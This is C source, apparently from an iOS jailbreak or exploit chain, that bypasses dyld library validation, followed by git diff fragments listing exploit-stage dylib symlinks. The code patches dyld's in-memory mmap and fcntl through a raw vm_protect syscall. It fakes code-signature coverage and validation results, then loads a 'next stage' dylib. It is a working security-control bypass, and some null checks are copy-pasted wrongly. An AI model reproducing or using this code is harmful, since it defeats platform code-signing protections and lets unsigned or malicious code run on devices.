static void* (*_dlopen)(const char* path, int mode);
const char * (*_dlerror)(void);
static kern_return_t (*_task_info)(task_name_t target_task, task_flavor_t flavor,
task_info_t task_info_out,
mach_msg_type_number_t *task_info_outCnt);
static mach_port_t _mach_task_self_;
kern_return_t builtin_vm_protect(mach_port_name_t task, mach_vm_address_t address, mach_vm_size_t size, boolean_t set_max, vm_prot_t new_prot);
static void init_bypassDyldLibValidation(void);
int dyld_lv_bypass_init(void * (*_dlsym)(void* handle, const char* symbol),
const char *next_stage_dylib_path)
{
_printf = _dlsym(RTLD_DEFAULT, "printf");
if (!_printf)
return -0x41414141;
__fcntl = _dlsym(RTLD_DEFAULT, "__fcntl");
if (!__fcntl)
return -0x41414142;
__mmap = _dlsym(RTLD_DEFAULT, "__mmap");
if (!__mmap)
return -0x41414143;
_task_info = _dlsym(RTLD_DEFAULT, "task_info");
if (!_task_info)
return -0x41414144;
mach_port_t *portp = _dlsym(RTLD_DEFAULT, "mach_task_self_");
if (!portp)
return -0x41414145;
_mach_task_self_ = *portp;
_dlopen = _dlsym(RTLD_DEFAULT, "dlopen");
if (!_dlopen)
return -0x41414146;
_dlerror = _dlsym(RTLD_DEFAULT, "dlerror");
if (!_dlerror)
return -0x41414147;
_munmap = _dlsym(RTLD_DEFAULT, "munmap");
if (!_dlerror)
return -0x41414148;
_mprotect = _dlsym(RTLD_DEFAULT, "mprotect");
if (!_dlerror)
return -0x41414149;
next_exit = _dlsym(RTLD_DEFAULT, "exit");
if (!next_exit)
return -0x41414150;
init_bypassDyldLibValidation();
_printf("[DyldLVBypass] dlopen %s\n", next_stage_dylib_path);
void *next_stage = _dlopen(next_stage_dylib_path, RTLD_NOW);
if (!next_stage) {
_printf("%s\n", _dlerror());
return -0x41414160;
}
_printf("[DyldLVBypass] dlopen OK\n", next_stage_dylib_path);
int (*next_stage_main)() = _dlsym(next_stage, "next_stage_main");
if (!next_stage_main) {
_printf("%s\n", _dlerror());
return -0x41414161;
}
// _printf("[DyldLVBypass] jumping to next stage\n", next_stage_dylib_path);
// next_exit(next_stage_main());
return 0;
}
static int builtin_memcmp(const void *s1, const void *s2, size_t n)
{
const unsigned char *p1 = (const unsigned char *)s1;
const unsigned char *p2 = (const unsigned char *)s2;
while (n--) {
if (*p1 != *p2) {
return *p1 - *p2;
}
++p1;
++p2;
}
return 0;
}
static struct dyld_all_image_infos *_alt_dyld_get_all_image_infos(void) {
static struct dyld_all_image_infos *result;
if (result) {
return result;
}
struct task_dyld_info dyld_info;
mach_vm_address_t image_infos;
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
kern_return_t ret;
ret = _task_info(_mach_task_self_,
TASK_DYLD_INFO,
(task_info_t)&dyld_info,
&count);
if (ret != KERN_SUCCESS) {
return NULL;
}
image_infos = dyld_info.all_image_info_addr;
result = (struct dyld_all_image_infos *)image_infos;
return result;
}
// Since we're patching libsystem_kernel, we must avoid calling to its functions
static void builtin_memcpy(char *target, const char *source, size_t size) {
for (int i = 0; i < size; i++) {
target[i] = source[i];
}
}
// Originated from _kernelrpc_mach_vm_protect_trap
ASM(
.global _builtin_vm_protect \n
_builtin_vm_protect: \n
mov x16, #-0xe \n
svc #0x80 \n
ret
);
static bool redirectFunction(char *name, void *patchAddr, void *target) {
kern_return_t kret = builtin_vm_protect(_mach_task_self_, (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY);
if (kret != KERN_SUCCESS) {
_printf("[DyldLVBypass] vm_protect(RW) fails at line %d\n", __LINE__);
return FALSE;
}
builtin_memcpy((char *)patchAddr, patch, sizeof(patch));
#if __arm64e__
*(void **)((char*)patchAddr + 16) = __builtin_ptrauth_strip(target, 0);
#else
*(void **)((char*)patchAddr + 16) = target;
#endif
kret = builtin_vm_protect(_mach_task_self_, (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC);
if (kret != KERN_SUCCESS) {
_printf("[DyldLVBypass] vm_protect(RX) fails at line %d", __LINE__);
return FALSE;
}
_printf("[DyldLVBypass] hook %s(%p) succeed!\n", name, patchAddr);
return TRUE;
}
static bool searchAndPatch(char *name, char *base, const char *signature, int length, void *target) {
char *patchAddr = NULL;
for(int i=0; i < 0x80000; i+=4) {
if (base[i] == signature[0] && builtin_memcmp(base+i, signature, length) == 0) {
patchAddr = base + i;
break;
}
}
if (patchAddr == NULL) {
_printf("[DyldLVBypass] hook %s fails line %d\n", name, __LINE__);
return FALSE;
}
_printf("[DyldLVBypass] found %s at %p\n", name, patchAddr);
return redirectFunction(name, patchAddr, target);
}
static void* hooked_mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) {
void *map = __mmap(addr, len, prot, flags, fd, offset);
if (map == MAP_FAILED && fd && (prot & PROT_EXEC)) {
map = __mmap(addr, len, PROT_READ | PROT_WRITE, flags | MAP_PRIVATE | MAP_ANON, 0, 0);
void *memoryLoadedFile = __mmap(NULL, len, PROT_READ, MAP_PRIVATE, fd, offset);
builtin_memcpy(map, memoryLoadedFile, len);
_munmap(memoryLoadedFile, len);
_mprotect(map, len, prot);
}
return map;
}
static int hooked___fcntl(int fildes, int cmd, void *param) {
if (cmd == F_ADDFILESIGS_RETURN) {
#if !(TARGET_OS_MACCATALYST || TARGET_OS_SIMULATOR)
// attempt to attach code signature on iOS only as the binaries may have been signed
// on macOS, attaching on unsigned binaries without CS_DEBUGGED will crash
orig_fcntl(fildes, cmd, param);
#endif
fsignatures_t *fsig = (fsignatures_t*)param;
// called to check that cert covers file.. so we'll make it cover everything ;)
fsig->fs_file_start = 0xFFFFFFFF;
return 0;
}
// Signature sanity check by dyld
else if (cmd == F_CHECK_LV) {
orig_fcntl(fildes, cmd, param);
// Just say everything is fine
return 0;
}
// If for another command or file, we pass through
return orig_fcntl(fildes, cmd, param);
}
static void init_bypassDyldLibValidation(void) {
_printf("[DyldLVBypass] init\n");
// Modifying exec page during execution may cause SIGBUS, so ignore it now
// Only comment this out if only one thread (main) is running
//signal(SIGBUS, SIG_IGN);
orig_fcntl = __fcntl;
char *dyldBase = (char *)_alt_dyld_get_all_image_infos()->dyldImageLoadAddress;
//redirectFunction("mmap", mmap, hooked_mmap);
//redirectFunction("fcntl", fcntl, hooked_fcntl);
searchAndPatch("dyld_mmap", dyldBase, mmapSig, sizeof(mmapSig), hooked_mmap);
bool fcntlPatchSuccess = searchAndPatch("dyld_fcntl", dyldBase, fcntlSig, sizeof(fcntlSig), hooked___fcntl);
// dopamine already hooked it, try to find its hook instead
if(!fcntlPatchSuccess) {
char* fcntlAddr = 0;
// search all syscalls and see if the the instruction before it is a branch instruction
for(int i=0; i < 0x80000; i+=4) {
if (dyldBase[i] == syscallSig[0] && builtin_memcmp(dyldBase+i, syscallSig, 4) == 0) {
char* syscallAddr = dyldBase + i;
uint32_t* prev = (uint32_t*)(syscallAddr - 4);
if(*prev >> 26 == 0x5) {
fcntlAddr = (char*)prev;
break;
}
}
}
if(fcntlAddr) {
uint32_t* inst = (uint32_t*)fcntlAddr;
int32_t offset = ((int32_t)((*inst)<<6))>>4;
_printf("[DyldLVBypass] Dopamine hook offset = %x\n", offset);
orig_fcntl = (void*)((char*)fcntlAddr + offset);
redirectFunction("dyld_fcntl (Dopamine)", fcntlAddr, hooked___fcntl);
} else {
_printf("[DyldLVBypass] Dopamine hook not found\n");
}
}
}
+481 -380
View File
File diff suppressed because it is too large Load Diff
@@ -0,0 +1 @@
../entry2_type0x0f_arm64e.dylib
@@ -0,0 +1 @@
../entry2_type0x0f_arm64e.dylib
@@ -0,0 +1 @@
../entry2_type0x0f_arm64.dylib
@@ -0,0 +1 @@
../entry2_type0x0f_arm64e.dylib
@@ -0,0 +1 @@
../entry2_type0x0f_arm64.dylib
@@ -0,0 +1 @@
../entry2_type0x0f_arm64.dylib
@@ -0,0 +1 @@
../entry2_type0x0f_arm64.dylib
@@ -0,0 +1 @@
../entry2_type0x0f_arm64.dylib
BIN
View File
Binary file not shown.
@@ -0,0 +1 @@
../entry2_type0x0f_arm64e.dylib
@@ -0,0 +1 @@
../entry2_type0x0f_arm64e.dylib
@@ -0,0 +1 @@
../entry2_type0x0f_arm64e.dylib
@@ -0,0 +1 @@
../entry2_type0x0f_arm64e.dylib
@@ -0,0 +1 @@
../entry2_type0x0f_arm64.dylib
+1
View File
@@ -0,0 +1 @@
../SpringBoardTweak/.theos/obj/arm64/SpringBoardTweak.dylib
+1
View File
@@ -0,0 +1 @@
../SpringBoardTweak/.theos/obj/arm64e/SpringBoardTweak.dylib
@@ -0,0 +1 @@
../entry2_type0x0f_arm64e.dylib